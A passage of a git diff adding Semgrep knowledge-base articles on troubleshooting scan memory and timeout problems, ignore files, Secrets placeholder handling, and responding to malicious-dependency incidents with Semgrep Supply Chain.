+```yaml
+jobs:
+ semgrep:
+ name: semgrep/ci
+ runs-on: ubuntu-latest
+
+ container:
+ image: semgrep/semgrep:x.y.z
+```
diff --git a/mintlify-docs/kb/semgrep-code/scan-engine-kill.mdx b/mintlify-docs/kb/semgrep-code/scan-engine-kill.mdx
new file mode 100644
index 0000000000..c4cbde9793
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/scan-engine-kill.mdx
@@ -0,0 +1,145 @@
+---
+title: "Troubleshooting 'You are seeing this because the engine was killed' on monorepos"
+sidebarTitle: "Troubleshoot monorepo scan failures"
+description: "Scans can fail to complete on large monorepos. This article describes possible solutions, such as:"
+---
+
+
+- [Scanning the components of a monorepo separately](/kb/semgrep-ci/scan-monorepo-in-parts).
+- Serializing the type of scan performed.
+- Increasing the RAM of the job runner for CI jobs.
+
+Given the following log or similar:
+
+```text expandable
+[ERROR] Error while running rules:
+ You are seeing this because the engine was killed.
+
+ The most common reason this happens is because it used too much memory.
+ If your repo is large (~10k files or more), you have three options:
+ 1. Increase the amount of memory available to semgrep
+ 2. Reduce the number of jobs semgrep runs with via `-j `. We
+ recommend using 1 job if you are running out of memory.
+ 3. Scan the repo in parts (contact us for help)
+
+ Otherwise, it is likely that semgrep is hitting the limit on only some
+ files. In this case, you can try to set the limit on the amount of memory
+ semgrep can use on each file with `--max-memory `. We recommend
+ lowering this to a limit 70% of the available memory. For CI runs with
+ interfile analysis, the default max-memory is 5000MB. Without, the default
+ is unlimited.
+
+ The last thing you can try if none of these work is to raise the stack
+ limit with `ulimit -s `.
+
+ If you have tried all these steps and still are seeing this error, please
+ contact us.
+
+ Error: semgrep-core exited with unexpected output
+```
+
+## Determining the size of your monorepo
+
+By default, Semgrep places resource limitations on the size of file scanned and memory allocated.
+
+However, Semgrep does not place limitations on the number of files scanned and scanning a large monorepo can involve thousands of files.
+
+To determine how many files are getting scanned:
+
+
+
+ View the Semgrep scan output in your CI logs. This step depends on your CI provider.
+
+
+ In the CI logs, search for the section **Scan Status**.
+
+
+
+A sample Semgrep scan output can look like this:
+
+```text expandable
+┌─────────────┐
+│ Scan Status │
+└─────────────┘
+ Scanning 91749 files tracked by git with 1068 Code rules, 498 Pro rules:
+
+ Language Rules Files Origin Rules
+ ────────────────────────────── ───────────────────
+ 60 199251 Community 551
+ ts 166 26672 Pro rules 498
+ python 314 8089 Custom 19
+ scala 13 5415
+ json 1 4149
+ yaml 7 1952
+ js 160 1084
+ terraform 13 470
+ bash 4 408
+ go 95 228
+ ruby 22 228
+ php 25 99
+ swift 41 89
+ html 1 72
+ dockerfile 2 31
+ c 9 16
+ rust 49 8
+ java 156 2
+ kotlin 47 1
+```
+
+Now you have a good idea of the size of your monorepo. After establishing the size and breakdown of your files by programming language, you can decide what adjustments to make for a scan to succeed.
+
+## Scanning components separately
+
+Based on the composition provided by the logs, you may be able to determine if your repository is modular. If so, you can try [scanning the components separately](/kb/semgrep-ci/scan-monorepo-in-parts/).
+
+
+**NOTE**
+
+Semgrep Code still performs [ interfile analysis](/semgrep-code/semgrep-pro-engine-intro#types-of-semgrep-code-analysis) on each module. If the modules are functionally separate, running separate scans shouldn't result in a reduction in findings.
+
+
+## Serializing types of scans
+
+Avoid exhausting resource limits by running Semgrep Code, Supply Chain, and Secrets serially instead of simultaneously. That is, instead of:
+
+```console
+ semgrep ci
+```
+
+You can run:
+
+```bash
+semgrep ci --code
+semgrep ci --supply-chain
+semgrep ci --secrets
+```
+
+As a result, less memory is used in total at any point in time.
+
+## Increasing RAM
+
+Lastly, you can also tackle a large scan by increasing the RAM.
+
+### Establish RAM baseline and avoid swap memory
+
+First, establish how much memory is required to scan. Determining the total amount of memory required not only helps avoid killed scans but also helps prevent use of swap memory. Semgrep and other SAST tools make heavy use of disk I/O, and swapping in and out with a swap file significantly reduces performance.
+
+- In the early phases of your scan deployment, start with a relatively larger runner or Kubernetes pod that has lots of memory.
+- Perform the scan with the `-j 1` option ([see CLI reference](/cli-reference)). This sets the number of jobs to 1 (no parallelization of subprocesses).
+- Enable a swap monitor for the entire duration of the scan to ensure an accurate assessment of RAM used, for example, running a script that samples the memory frequently:
+```bash
+$ free -m
+```
+to see both your RAM and your swap space usage in Linux.
+- Then perhaps add 10% more RAM to your final memory tally to account for churn, increase in code, and so on. This is something you must gauge.
+
+## Parallelization
+
+Once you have determined the RAM required to scan your large codebase, you can introduce parallelization to speed up the scan.
+
+In the previous section, you determined the total memory required for a configuration with no parallelization. Now, you can begin testing different parallelization configurations to improve scan speed, while still monitoring for any swap usage.
+
+To increase parallelization, first try the scan with `-j 2` for two jobs. For two jobs, memory usage will typically be just less than twice the amount required for one job, and that trend continues as the number of jobs increases.
+
+Furthermore, there is overhead in parallelization: the total RAM required for a `-j 2` scan is greater than a `-j 1` scan for the same codebase, but you should see a decrease in total scan time.
+
diff --git a/mintlify-docs/kb/semgrep-code/semgrep-scan-troubleshooting.mdx b/mintlify-docs/kb/semgrep-code/semgrep-scan-troubleshooting.mdx
new file mode 100644
index 0000000000..0e07d3a65a
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/semgrep-scan-troubleshooting.mdx
@@ -0,0 +1,107 @@
+---
+title: "A Semgrep scan is having a problem - what next?"
+description: "If a Semgrep scan is failing or running slowly,"
+---
+
+try the following steps to investigate:"
+
+
+
+ [Update Semgrep](/update) to the latest version, if you are not currently running the latest version. Some errors result from an older version of Semgrep being used with newer rules.
+
+
+ Re-run the scan with either the `-v`/`--verbose` or `--debug` (extremely verbose) flags. These options provide more information about what is failing.
+ - When using verbose logs, also set `--max-log-list-entries` to `0` or any negative value to see the full output; otherwise lists of rules and files are suppressed if there are more than 100 entries in the list.
+
+
+ If you are running cross-file (interfile) analysis in the scan, remove any options starting with `--pro`, or run Semgrep with `--oss-only`. This allows isolation of any issues related to cross-file analysis, and often speeds up a scan or reduces memory usage.
+
+
+
+
+**INFO**
+
+Semgrep verbose or debug logs can be quite lengthy. To prevent flooding your terminal and preserve the logs for analysis, you can redirect all output to a file with `semgrep [OPTIONS] [TARGETS]... &> semgrep.log`. See also [How to collect logs when running Semgrep in CLI](/kb/semgrep-code/collect-cli-logs).
+
+
+
+## Memory usage issues (OOM errors)
+
+Memory usage is a common issue with scans, especially in memory-constrained environments such as continuous integration (CI) providers. Semgrep may exit with code -11 (or -9), which are the POSIX signals raised to cause the crash.
+
+- Try increasing the memory available if you are working in a container or managed instance where you can manage the amount of memory.
+- Use the `--max-memory LIMIT` option for your Semgrep run. This option stops a rule/file scan if it reaches the set limit, and moves to the next rule / file.
+ - If you are running an interfile scan, this option also falls back to the OSS engine if the interfile pre-processing stage requires more than this amount of memory.
+- Run Semgrep in single-threaded mode with `--jobs 1`. This reduces the amount of memory used compared to running multiple jobs.
+- Try increasing your stack limit, if a limit is set for the context where you invoke Semgrep (`ulimit -s [limit]`).
+
+## Slow scans
+
+The first step to improving Semgrep's speed is limiting its run to only the files you care about. Most commonly, it's limited using a `.semgrepignore` file. See [Ignoring files, folders, or parts of code](/ignoring-files-folders-code).
+
+After addressing files to ignore:
+
+- If you suspect the presence of a large file slowing Semgrep's analysis, decrease the maximum size of files scanned with `--max-target-bytes BYTES`.
+- Run `semgrep scan --time` locally. This outputs a list of the rules and files that took the longest.
+ - Identify the slowest files from the list. You may find that you can add some of those files to your ignore list as well.
+ - Identify the slowest rules from the list. You may find that some of them don't apply to your codebase and can be skipped.
+
+ ### Adjusting timeouts
+
+Semgrep has several timeout settings that affect scan duration and can be adjusted to optimize scan behavior:
+
+- `--timeout`: Similar to `--max-memory`, `--timeout` affects the behavior of the scan when running a single rule on a single file. It defaults to 5 seconds. Typical values range from 3 seconds (favors faster scans, but more timeouts) to 30 seconds (slower scans, fewer timeouts).
+- `--timeout-threshold`: The number of attempts made to run a single rule on a single file, if it times out due to the `--timeout` limit. It defaults to 3. Decreasing the value may speed up scans but cause more timeouts.
+- `--interfile-timeout`: If you are running an interfile scan, this is the maximum amount of time in seconds to spend on interfile analysis before falling back to the OSS Engine. Defaults to 3 hours (10800 seconds) for scans using `semgrep ci`. Otherwise, the default is no maximum time (continue with cross-file analysis until the scan completes).
+
+## 401 error when scanning with Semgrep Registry rules
+
+If you receive a 401 when scanning using registry rules (for example, with `--config auto`), try the following:
+
+
+
+Run `semgrep logout`.
+
+
+Attempt the scan again.
+
+
+
+If this is successful, your stored local token was invalid. Use `semgrep login` to log in again and receive a fresh token.
+
+## Scan failures with analysis errors
+
+Analysis or parsing errors usually only affect a particular rule, file, or language. If your scan encounters an analysis issue, using verbose logging can provide you with helpful error details, such as:
+
+```
+metavariable-pattern failed because we lack range info for $X, please file a bug report
+```
+
+If the error you receive is not that specific, try one of these options:
+
+1. Use `--exclude-rule` to exclude a rule from the scan. This allows isolating the problem to the particular rule.
+ - If you are running Semgrep in CI with Semgrep AppSec Platform, and don't need to run the rule, you can also [disable the rule](/semgrep-code/policies/#disable-rules).
+2. Use `--exclude` to exclude a file or files from the scan. You can use wildcards in file exclusions to exclude files matching particular patterns.
+3. Use `--include` with a pattern specifying a path or an extension for a particular language, to limit the scan to that path, or to files in that language.
+
+## Reporting crashes or analysis errors
+
+Once you have isolated the issue:
+
+
+
+ Identify the rule, file, and lines (if available) where Semgrep encountered the error.
+
+
+ Determine whether you can share a minimal example of the code or rule that is causing the issue.
+ - If the issue occurs with cross-file analysis, or the code is internal or sensitive and cannot be sufficiently redacted, [reach out for help](/support), and include what you've determined so far.
+ - Otherwise, share the issue details and related code with Semgrep via https://github.com/semgrep/semgrep/issues.
+
+
+
+If you are encountering memory usage issues, please include in your report:
+
+- The total size of the files
+- The number of files being scanned
+- The maximum memory used by Semgrep (an estimate from `top` is fine)
+- The system specifications
diff --git a/mintlify-docs/kb/semgrep-code/semgrepignore-ignored.mdx b/mintlify-docs/kb/semgrep-code/semgrepignore-ignored.mdx
new file mode 100644
index 0000000000..3a725e11b0
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/semgrepignore-ignored.mdx
@@ -0,0 +1,27 @@
+---
+title: "Why am I getting findings in files that should be ignored?"
+description: "If you don't have a `.semgrepignore` file, see our [guide on how to exclude files from Semgrep scans](/ignoring-files-folders-code). "
+---
+
+If you have a `.semgrepignore` file and **aren't** seeing the results you expect, you may be seeing the effect of changes in Semgrep 1.117.0 and later. Starting with Semgrep 1.117.0, the Semgrepignore specification has changed to better align with Git and Gitignore and to offer more flexibility. The new specification is referred to as [Semgrepignore v2](/semgrepignore-v2-reference).
+
+## Requirements for Semgrepignore v2
+
+### If you're using Git
+
+Place the `.semgrepignore` file in root of the Git project (preferred) or in any folder in the project where you want to consistently ignore some files. `.semgrepignore` files follow the same specification as `.gitignore` files, which they extend.
+
+### If you're not using Git
+
+Place the `.semgrepignore` file in the folder passed on the `semgrep scan` command line. For example, if the command is `semgrep scan foo/`, and the `.semgrepignore` file is in the current directory, move the `.semgrepignore` file from the current directory to `foo/.semgrepignore`.
+
+## Best practices
+
+- When scanning a whole project, run `semgrep` from the project root.
+- Place a `.semgrepignore` file at the project root.
+- Optionally, place `.semgrepignore` files in subfolders so as to keep the
+ exclusion patterns simple and to allow moving these subfolders
+ around without having to edit the file exclusion patterns.
+- Refer to the [Gitignore
+ specification](https://git-scm.com/gitignore)
+ for the precise syntax and usage of `.semgrepignore` files.
diff --git a/mintlify-docs/kb/semgrep-code/support-for-language-versions.mdx b/mintlify-docs/kb/semgrep-code/support-for-language-versions.mdx
new file mode 100644
index 0000000000..972df5a300
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/support-for-language-versions.mdx
@@ -0,0 +1,18 @@
+---
+title: "Support for all versions of a programming language"
+description: "Semgrep language support has several levels of maturity. The **Generally available (GA)** maturity level means that Semgrep broadly supports all versions of that programming language."
+---
+
+When the Semgrep team adds support for a new language, the team creates a parser intended for the most recent or one of the most recent versions of that language. More recent versions of a programming language tend to be supersets of previous versions; they are typically backward compatible. Therefore, a parser of a more recent version generally supports previous versions as well.
+
+If a change occurs in a language's syntax or semantics, the Semgrep team makes the requisite changes to any affected [Pro rules](/semgrep-code/pro-rules) to ensure that Semgrep maintains its level of support and coverage for that language. Updates to rules are made weekly.
+
+See [How to add support for a new language](/contributing/adding-a-language) for more information on the process of adding a language to Semgrep.
+
+
+**INFO**
+
+- Semgrep Pro rules are actively maintained by the Security Research team and are kept up-to-date.
+- Community rules are maintained by the community and have varying levels of support.
+
+
diff --git a/mintlify-docs/kb/semgrep-code/unexpected-new-findings.mdx b/mintlify-docs/kb/semgrep-code/unexpected-new-findings.mdx
new file mode 100644
index 0000000000..770b43946e
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-code/unexpected-new-findings.mdx
@@ -0,0 +1,34 @@
+---
+title: "Why are there more Semgrep findings when the code hasn't changed?"
+description: "If the rules you're using in Semgrep have changed since you last performed a full scan of your project, you may see more findings for the project even if your code has not changed."
+---
+
+For rulesets in the Semgrep Registry, if you add a ruleset to one of your policies, the policy receives updates and additions to the ruleset on an ongoing basis. When a rule is added to a ruleset, or when changes make a rule more comprehensive or more precise, your policy automatically picks up those changes. As a result, the next full scan of the project may surface new findings from the new or updated rules.
+
+For Semgrep-curated rulesets, you can view each rule's history to see recent changes:
+
+
+
+ Open the rule in the Editor.
+
+
+ Click the GitHub icon shown next to the rule ID to access the commit history.
+
+
+ 
+
+
+
+
+There are some Registry rulsets that have an alternative curator - these do not show "by Semgrep". For these rules:
+
+
+
+ Expand the rule within the registry by clicking on the rule card to view its details.
+
+
+ Click "Source for rule" under the example code to visit the rule source.
+
+
+
+If you have questions or concerns about rule updates for Semgrep Registry rulesets, please feel free to [reach out](/support).
diff --git a/mintlify-docs/kb/semgrep-multimodal.mdx b/mintlify-docs/kb/semgrep-multimodal.mdx
new file mode 100644
index 0000000000..a59f807215
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-multimodal.mdx
@@ -0,0 +1,13 @@
+---
+title: "Semgrep Multimodal"
+---
+
+
+
+Azure OpenAI: Error 429 - Max Tokens Exceeded
+
+
+
+Missing PR or MR comments from Semgrep Multimodal.
+
+
diff --git a/mintlify-docs/kb/semgrep-multimodal/azure-openai-error-429.mdx b/mintlify-docs/kb/semgrep-multimodal/azure-openai-error-429.mdx
new file mode 100644
index 0000000000..ed3869120d
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-multimodal/azure-openai-error-429.mdx
@@ -0,0 +1,23 @@
+---
+title: "Azure OpenAI: Error 429 - Max Tokens Exceeded"
+---
+
+
+If you have chosen Azure OpenAI as your AI provider for Semgrep Multimodal, and you see **Error 429 - Max Tokens Exceeded**:
+
+
+
+ Go to **Azure OpenAI Studio > Deployments** and select your active deployment.
+
+
+ Under **Details**, click **Edit** and increase the **Tokens per Minute Rate Limit** to the maximum value.
+
+
+ If the error persists, contact Microsoft Azure support to request a quota upgrade.
+
+
+
+If you can't save the endpoint and API key when configuring Semgrep, Semgrep cannot establish a connection with Azure OpenAI.
+
+1. Ensure that the endpoint URL is correctly formatted. It should look something like `https://.openai.azure.com/openai/deployments/mymodel/chat/completions?api-version=2023-05-06-preview`.
+1. Verify that your API key is correct.
\ No newline at end of file
diff --git a/mintlify-docs/kb/semgrep-multimodal/missing-pr-mr-comments.mdx b/mintlify-docs/kb/semgrep-multimodal/missing-pr-mr-comments.mdx
new file mode 100644
index 0000000000..2c497a2c0a
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-multimodal/missing-pr-mr-comments.mdx
@@ -0,0 +1,11 @@
+---
+title: "Missing PR or MR comments from Semgrep Multimodal."
+---
+
+Semgrep Multimodal messages only appear in your PR comments for rules that are set to Comment or Block mode on the Rule Management page. Ensure that:
+
+- You have set rules to Comment or Block mode.
+
+ 
+
+- You have turned on the **Triage via code review comments** toggle in Semgrep AppSec Platform by going to **Settings > General > Code**.
diff --git a/mintlify-docs/kb/semgrep-secrets.mdx b/mintlify-docs/kb/semgrep-secrets.mdx
new file mode 100644
index 0000000000..239d3891ad
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-secrets.mdx
@@ -0,0 +1,12 @@
+---
+title: "Semgrep Secrets"
+---
+
+
+
+ Semgrep Secrets attempts to reduce false positives by bypassing common example secret patterns.
+
+
+ Product-specific path ignores require a supported CLI version.
+
+
diff --git a/mintlify-docs/kb/semgrep-secrets/no-example-secrets-found.mdx b/mintlify-docs/kb/semgrep-secrets/no-example-secrets-found.mdx
new file mode 100644
index 0000000000..0e434bb146
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-secrets/no-example-secrets-found.mdx
@@ -0,0 +1,14 @@
+---
+title: "Why didn't Semgrep Secrets find these example secrets?"
+description: "One common pattern in code is to include a placeholder value or format indicator for a secret rather than a real secret value. Where possible, Semgrep Secrets rules are intentionally written to minimize matches with this type of placeholder to avoid false positives, since the primary concern is identifying real secrets accidentally committed, especially if they are still valid."
+---
+
+As a result, if you have a line such as:
+
+```python
+AWS_SECRET_ACCESS_KEY = "AKIA000EXAMPLE83A0I4"
+```
+
+Semgrep does not flag this line, because the key contains the string `EXAMPLE` and that's recognized as being a placeholder rather than a valid AWS access key.
+
+If you'd like to flag this type of usage, you can consider [writing a custom Secrets rule](/semgrep-secrets/rules), or [reach out to support](/support) to discuss your question further with the team.
diff --git a/mintlify-docs/kb/semgrep-secrets/per-product-ignore-not-working.mdx b/mintlify-docs/kb/semgrep-secrets/per-product-ignore-not-working.mdx
new file mode 100644
index 0000000000..a55a72f6d8
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-secrets/per-product-ignore-not-working.mdx
@@ -0,0 +1,6 @@
+---
+title: "Why didn't Semgrep ignore the files and folders in the Secrets Path ignores for this project?"
+description: "The Semgrep AppSec Platform allows you to [define ignore patterns](/ignoring-files-folders-code#define-ignored-files-and-folders-in-semgrep-appsec-platform) for different Semgrep products for each project. Product-specific ignores for Semgrep Secrets require Semgrep version `1.71.0` or later in your CLI or CI environment."
+---
+
+If you use an older version of Semgrep, the path ignores for Semgrep Secrets that are set in Semgrep AppSec Platform are not applied. Instead, the system applies the path ignores from SAST and SCA to your Secrets scan as well.
diff --git a/mintlify-docs/kb/semgrep-supply-chain.mdx b/mintlify-docs/kb/semgrep-supply-chain.mdx
new file mode 100644
index 0000000000..4ab82378fc
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain.mdx
@@ -0,0 +1,29 @@
+---
+title: "Semgrep Supply Chain (SSC)"
+---
+
+
+
+ Exclude a Semgrep Supply Chain rule from a scan
+
+
+
+ How to respond to a malware incident using Semgrep Supply Chain.
+
+
+
+ Semgrep Supply Chain uses manifest files or lockfiles as part of its reachability analysis to determine the exact version of a dependency that a codebase is using. Semgrep parses manifest files or lockfiles, such as:
+
+
+
+ How to generate lockfiles for Semgrep Supply Chain in a Circle CI pipeline.
+
+
+
+ Generate Python lockfiles to run Semgrep Supply Chain scans successfully.
+
+
+
+ Troubleshoot why findings for Semgrep Supply Chain are not showing.
+
+
diff --git a/mintlify-docs/kb/semgrep-supply-chain/exclude-rule.mdx b/mintlify-docs/kb/semgrep-supply-chain/exclude-rule.mdx
new file mode 100644
index 0000000000..a390b2aecf
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain/exclude-rule.mdx
@@ -0,0 +1,25 @@
+---
+title: "How to exclude a Semgrep Supply Chain rule from a scan"
+---
+
+To troubleshoot a problematic rule or to remove a rule that's too noisy, you can exclude a specific rule from being run during a Semgrep Supply Chain scan using the `--exclude-rule` flag:
+
+```bash
+semgrep ci --exclude-rule
+```
+
+The `--exclude-rule` flag requires the rule ID as a parameter. To retrieve this value:
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and go to **Supply Chain**.
+
+
+ Select the finding whose details you want to view:
+ - If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+ - If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+ Scroll to the **Pattern** panel, and click **Rule** to change the view. The rule `id` is listed in row 1 and begins with the `ssc` prefix.
+
+
diff --git a/mintlify-docs/kb/semgrep-supply-chain/incident-response.mdx b/mintlify-docs/kb/semgrep-supply-chain/incident-response.mdx
new file mode 100644
index 0000000000..f5d50d0f0c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain/incident-response.mdx
@@ -0,0 +1,254 @@
+---
+title: "Malware incident response with Semgrep Supply Chain"
+description: "This document describes how to respond to a malicious dependency incident using Semgrep Supply Chain."
+---
+
+## 1. Check the results from your most recent full scan
+
+Semgrep maintains a record of the dependencies in your project that is updated whenever a full scan runs. As soon as you have reason to be concerned, check this record to see if those packages and versions were present in your environment at the time of the scan.
+
+You can do this in Semgrep AppSec Platform using the [**Dependencies** tab](https://semgrep.dev/orgs/-/supply-chain/t/dependencies) and its dependency search functionality or through the Semgrep API.
+
+### Find malicious versions of packages with dependency search
+
+The [dependency search](https://semgrep.dev/orgs/-/supply-chain/t/dependencies) allows you to search:
+
+- For a package using its name, such as `gitdb2`
+- For a specific version of a package
+- For a range of versions, such as `tar` versions between 4.0 and 5.0
+
+To search for dependencies:
+
+
+
+ Enter the dependency name and press **Enter** or **Return**. This returns a list of matches, but you can then filter your results further by version number:
+
+ i. Click the name of your dependency to open the **Dependency** dialog:
+ ii. To search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
+ iii. To search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
+ iv. Click **Apply** to save your changes and see your results.
+
+
+
+You can also use the **Advanced search** to search for specific versions of dependencies:
+
+
+
+ Click **Advanced search**.
+
+
+ Enter the **Dependency** name.
+
+
+ To specify a **version** number, click **Exact match**. For a range, click **Range** and provide the minimum and maximum versions.
+
+
+ **Optional**: to search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
+
+
+ **Optional**: to search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
+
+
+
+You can search for multiple packages simultaneously.
+
+
+
+
+
+You can also use a URL like this: https://semgrep.dev/orgs/-/supply-chain/t/dependencies?q=lodash%40%>4.17
+
+### Find malicious versions of packages using the Semgrep API
+
+You can use the Semgrep API to find matching malicious package versions in your projects using the following endpoints:
+
+- [List dependencies](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_ListDependencies)
+- [Create a new SBOM export job](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_ListDependencies)
+
+#### List dependencies
+
+Use this endpoint to search for specific packages and versions across your deployment. You can filter by ecosystem and specify version ranges or exact versions.
+
+```bash expandable
+curl -L -g 'https://semgrep.dev/api/v1/deployments/{your_deployment_id}/dependencies' \
+ -H 'accept: application/json' \
+ -H 'authorization: Bearer ' \
+ -H 'Content-Type: application/json' \
+ -d '{
+ "dependencyFilter": {
+ "ecosysystem": [
+ "npm"
+ ],
+ "packageFilters": [
+ {
+ "name": "lodash",
+ "versionLowerBound": ">4.17"
+ },
+ {
+ "name": "jridgewell-resolve-uri-latest",
+ "exactVersion": "9999.999.999"
+ }
+ ]
+ },
+ "deploymentId":
+ }'
+```
+
+#### Create a new SBOM export job
+
+Use this endpoint to generate a Software Bill of Materials (SBOM) for a specific repository. This is a multi-step process: first create an export job, then poll for its completion to retrieve the download URL.
+
+**Step 1: Create the export job**
+
+```bash
+curl -L 'https://semgrep.dev/api/v1/deployments/{your_deployment_id}/sbom/export' \
+ -H 'Content-Type: application/json' \
+ -H 'Authorization: Bearer ' \
+ -d '{
+ "deploymentId": ,
+ "repositoryId": ,
+ "sbomOutputFormat": "SBOM_OUTPUT_FORMAT_JSON"
+ }'
+```
+
+This returns a task token that you'll use to check the job status:
+
+```json
+{
+ "taskToken": ""
+}
+```
+
+**Step 2: Poll for job completion**
+
+Use the task token from Step 1 to check the export job status:
+
+```bash
+curl -L 'https://semgrep.dev/api/v1/deployments/{your_deployment_id}/sbom/export/{TASK_TOKEN_FOR_EXPORT_JOB}' \
+ -H 'Authorization: Bearer '
+```
+
+When the job completes, the response includes a signed download URL:
+
+```json
+{
+ "status": "SBOM_EXPORT_STATUS_COMPLETED",
+ "downloadUrl": "https://s3.amazon.com/signed/url/to/download/sbom"
+}
+```
+
+You can then download the SBOM from the provided URL.
+
+## 2. Verify that your next scan includes rules for the incident
+
+For all major security incidents, the Semgrep Security Research team responds within one business day, typically within four hours, and delivers rules to all customer accounts to check for malicious package versions.
+
+Due to time zones, holidays, and the sometimes subjective nature of incident severity, contact [Semgrep support](/support) to verify that we are actively working on a rule in response to a malware incident.
+
+Otherwise, wait for a notification from Semgrep through regular channels, such as Slack, that the rules related to the incident have been deployed.
+
+## 3. Initiate scans on potentially affected projects with Semgrep rules
+
+If the malicious version of the dependency was introduced after the scan, your projects could be affected even if the most recent scans showed no findings.
+
+Furthermore, running a full scan with Semgrep rules provides clear visibility into affected repositories and branches across all scanned code. See [View results from your Semgrep scans](#4-view-results-from-your-semgrep-scans) for more information.
+
+### Initiate scans with Semgrep Managed Scanning
+
+If you're using Semgrep Managed Scans, you can choose to run full scans on any potentially affected repositories manually:
+
+
+
+ Go to the **Projects** page in Semgrep App Platform.
+
+
+ Select the projects of interest.
+
+
+ Click **Run a new scan > Rule-based detection** to start scans on the repositories that may be affected. For example, in an `npm` package compromise, Semgrep recommends scanning any project that may contain JavaScript.
+
+
+
+
+
+
+
+### Initiate scans in your CI/CD pipelines
+
+If you're running scans in your CI/CD pipelines, manually trigger a Semgrep scan of any projects that may be impacted.
+
+### Initiate a local scan
+
+If you have large repositories or difficulty accessing your CI/CD system, it may be most efficient to run a local scan.
+
+In the directory where you want to run the scan, choose one of the following commands:
+
+- Run `semgrep ci --supply-chain` if the repository is checked out using Git. This uploads findings to Semgrep AppSec Platform. Note: to view findings in the Semgrep AppSec Platform, you must be logged in before running a scan. Log in by running `semgrep login`.
+- Run `semgrep scan --config supply-chain .` if you want to scan without a Git checkout. In this mode, findings are available for local review and are not sent to the Semgrep AppSec Platform.
+
+### Scan results
+
+Regardless of the method you use to scan your project, the findings generated are, by default, of **Critical** severity and **Always Reachable**. Any workflows or automation set up using Supply Chain policies or a ticketing system such as Jira are automatically triggered by these findings, so notifications are sent to developers immediately.
+
+## 4. View results from your Semgrep scans
+
+Semgrep AppSec Platform displays all affected projects and their findings after your scans complete using the new rules. To see this information:
+
+
+
+ Go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
+
+
+ Using the **Advisory** filter, provide the relevant CVE or keywords. If a CVE ID hasn’t been assigned, use the ID provided by Semgrep.
+
+
+ Click the advisory in the results list to open up the **Advisory Details** dialog.
+
+
+ Go to **Affected projects**.
+
+
+
+
+
+
+
+If Semgrep provides you with a direct link in a notification, such as a Slack message, you can use that to view the same information.
+
+To search for an advisory by package name, click on the advisory in the list and open the **Advisory Details** dialog:
+
+
+
+
+
+If there are no findings for the rules run on the projects scanned, Semgrep shows no results:
+
+
+
+
+
+Before concluding you’re not affected, verify that the rules corresponding to the incident were included in recent scans.
+
+However, if there are results, Semgrep shows the number of findings by project, as well as the breakdown of which branches in the codebase are impacted:
+
+
+
+
+
+Click on the number of findings to go to the **Findings** page, where you will see a list of results for that project's branch.
+
+## 5. Remove any malicious versions and re-scan your project
+
+Once the incident's impact is clear, immediately remove the malicious dependency from your codebase, including all repositories and branches. The fastest way to do it is often to downgrade to an uncompromised version.
+
+It is essential to follow any other response steps specific to the incident, which could involve changes to CI/CD workflows, internal package registries, and other aspects of your software supply chain.
+
+Once you’ve completed your incident response, re-run a Supply Chain scan on the same set of repositories and verify that the outcome shows no findings for the malicious advisory.
+
+## 6. Block the introduction of malicious packages
+
+To reduce the frequency of such issues, [create Supply Chain policies](/semgrep-supply-chain/policies#create-a-policy) to block the introduction of malicious package versions.
+
+## 7. Additional steps
+
+Depending on the particulars relevant to the incident, other steps may also be recommended. Refer to the [Semgrep blog](https://semgrep.dev/blog/) or to messages from [Support](/support) for the latest updates.
diff --git a/mintlify-docs/kb/semgrep-supply-chain/scanning_multiple_lockfiles.mdx b/mintlify-docs/kb/semgrep-supply-chain/scanning_multiple_lockfiles.mdx
new file mode 100644
index 0000000000..e4e364a426
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain/scanning_multiple_lockfiles.mdx
@@ -0,0 +1,14 @@
+---
+title: "How to scan multiple or nested manifest files or lockfiles"
+description: "Semgrep Supply Chain uses manifest files or lockfiles as part of its reachability analysis to determine the exact version of a dependency that a codebase is using. Semgrep parses manifest files or lockfiles, such as:"
+---
+
+
+- `go.mod`
+- `gemfile.lock`
+- `package-lock.json`
+- `requirements.txt`
+
+By default, Semgrep parses manifest files or lockfiles in any directory or subdirectory. Some package managers, such as `npm` or `yarn`, have support for [Workspaces](https://yarnpkg.com/features/workspaces), which can affect Semgrep's parsing behavior. If you use workspaces, reach out to [Support](/support) for assistance in setting up Semgrep Supply Chain.
+
+See [Supported languages > Semgrep Supply Chain](/supported-languages/#semgrep-supply-chain) for more information.
diff --git a/mintlify-docs/kb/semgrep-supply-chain/ssc-lockfiles-circleci.mdx b/mintlify-docs/kb/semgrep-supply-chain/ssc-lockfiles-circleci.mdx
new file mode 100644
index 0000000000..581c19950c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain/ssc-lockfiles-circleci.mdx
@@ -0,0 +1,54 @@
+---
+title: "Generate manifest files or lockfiles for Semgrep Supply Chain in a Circle CI pipeline"
+description: "In CircleCI, you can generate a manifest file or lockfile for your project as part of your pipeline job. This step happens during the first job, then the manifest file or lockfile is passed to the Semgrep scan using a [workspace](https://circleci.com/workspaces/) to share files between jobs."
+---
+
+
